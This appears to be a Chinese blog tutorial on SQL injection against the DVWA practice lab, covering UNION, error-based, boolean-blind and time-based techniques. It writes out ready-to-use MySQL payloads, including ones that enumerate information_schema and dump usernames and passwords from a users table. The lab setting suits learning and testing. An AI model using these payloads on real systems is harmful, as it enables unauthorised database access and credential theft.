DVWA SQL注入 小技巧


前言

最近在学习网络安全,写这篇博客是为了分享技术丶学习参考,顺便也可以当笔记用,如果有什么地方说的不对,欢迎留言讨论,我会虚心学习的,那就让我们一起学习吧!


一、DVWA是什么?

如果你也刚刚接触网络安全,或者想学习网络安全,恰巧还没有可以入门学习的靶场,那么DVWA是一款非常适合你入门的的一个渗透测试演练系统

二、DVWA SQL注入

1.LOW

提示:DVWA默认的账号为:admin 密码为:password
首先我们先要把安全等级,修改为Low
在这里插入图片描述
我们先输入1看会返回什么,可以看到网站给我们返回了ID丶First name和Surname 的值
在这里插入图片描述

SQL手工注入的第一步就是先输入’,这个单引号是很关键的,可以看到我们输入单引号后这个网站报错了,这个报错是我们的单引号被当做SQL语句执行了,这个报错就可以代表这个网站可以被SQL注入了。
在这里插入图片描述

报错:↓
在这里插入图片描述
我们输入单引号的时候发现有回显,我们使用联合查询,查看数据库版本

' union select version(),null --

在这里插入图片描述

2.Medium

我们先点击1查看一下,会返回值
在这里插入图片描述

Medium等级我们就需要BP的帮助啦,首先我们先抓包,可以看到ID的后面是有值的,这个值正是我们刚才选择的1,我们判断这里有注入点
在这里插入图片描述
我们尝试注入一下,在id=1 后面输入sql语句,然后点击Forward

union select version(),null

在这里插入图片描述
可以看到网页里显示了服务器的版本信息,注入成功
在这里插入图片描述

3.High

我们先输入一个sql语句,看看页面有没有回显,可以看到页面有回显,我们可以尝试使用联合查询。

1 'and 1=1 --

在这里插入图片描述
我们使用联合查询发现可以看到版本信息注入成功!

'union sellect version(),null --

在这里插入图片描述

三、 SQL漏洞利用

我用LOW级别为例子。
我们输入SQL语句查看这个表有多少列。
提示:在–符号后面一定要加上加上空格,否则可能会出现问题。

1.查看列数

' order by 值 --

我先输入 ** ’ order by 3 --** ,尝试一下发现有报错,这个报错是因为这个表可能没有3个列,报错如下。
在这里插入图片描述
这次我们尝试一下 ’ order by 2 – ,发现页面没有变化,这个是对的,因为这个可以确认这个表的列为2,这样我们就得到了列数啦。
在这里插入图片描述
上面我们获取了列数为2,我们将列名排序

2.列名排序

'union select 1,2 --

这样我们就得到了列名的顺序啦。
在这里插入图片描述

3.联合查询(数据库 用户名丶表名丶版本)

' union select CONCAT_WS(CHAR(32,58,32),user(),database(),version()),null --

32为空格58为:(冒号),CHAR(32,58,32)的意思就是将 用户名丶表名丶版本,用空格冒号空格 ,间隔开方便查看
在这里插入图片描述

4.查询information_schema库

' union select table_name,table_schema from information_schema.tables --

因为是级别LOW,说以我们可以访问information_schema,这个库里面包含着全部库的信息,可以看到DVWA的数据库的信息,这个users这个表是我们需要的,里面可能会有用户的信息

在这里插入图片描述

5.查询表中的列

' union select table_name,column_name from information_schema.columns where table_schema='数据库名' and table_name ='表名' --

我们输入 ’ union select table_name,column_name from information_schema.columns where table_schema=‘dvwa’ and table_name =‘users’ – 查看表中的列,可以看到userspassword,这两个列可能存在敏感信息
在这里插入图片描述

6.查询列中数据

' union select null ,concat(列名,0x3a,列名) from 数据库.表名 --

我们输入 ’ union select null ,concat(user,0x3a,password) from dvwa.users – 可以看到我们获取到了用户的账号密码
在这里插入图片描述

四丶SQL注入小技巧

1.如果有回显,考虑联合查询
2.如果有报错,考虑报错注入
3.如果有布尔类型状态,考虑布尔盲注
4.如果以上办法还是找不出漏洞,考虑延时注入

1.联合查询

当我们看到页面有回显的时候,可以考虑联合查询

查询数据库名称

' union select CONCAT_WS(CHAR(32,58,32),user(),database(),version()),null --

在这里插入图片描述

2.报错注入

当我们看到页面会有报错信息的时候,我们可以考虑使用报错注入
在这里插入图片描述

'and(select extractvalue("anything",concat('^',(select语句)))) --
'and(select updatexml("anything",concat('^,(select语句)),"anything")) --

输入显示版本

'and(select extractvalue("anything",concat('^',(version())))) --

在这里插入图片描述

3.布尔盲注

当我们看到页面有布尔类型状态的时候,我们可以考虑布尔盲注
在这里插入图片描述
在这里插入图片描述

判断数据库名长度

id=1'and length(database())>值 --

如果库名长度是正确的话,页面会正常显示

在这里插入图片描述
相反页面就会不显示值,这里要提示一下,页面报错和页面不显示值是两个问题!!
在这里插入图片描述

接下来就盲注库名

id=1' and ascii(substr(database(),盲测字符的位数,1))=ascii码值 --

DVWA数据库的第一位字符为d,d的ascii码值为100,所以页面显示正常,第一位字符盲注成功!
在这里插入图片描述

4.延时注入

延时注入也是我们没有办法的办法,延时注入也算是盲注的一种
盲注数据库名长度

id=1'and if(length(database())=值,sleep(3),1) --

如果盲注成功,我们可以可以看到页面沉睡了3049毫秒,也就是3秒多一点
在这里插入图片描述
盲注库名

and if(ascii(substr(database(),盲测字符的位数,1))=ascii码值,sleep(3),1)

这个操作与以上基本形同就不在演示了

评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值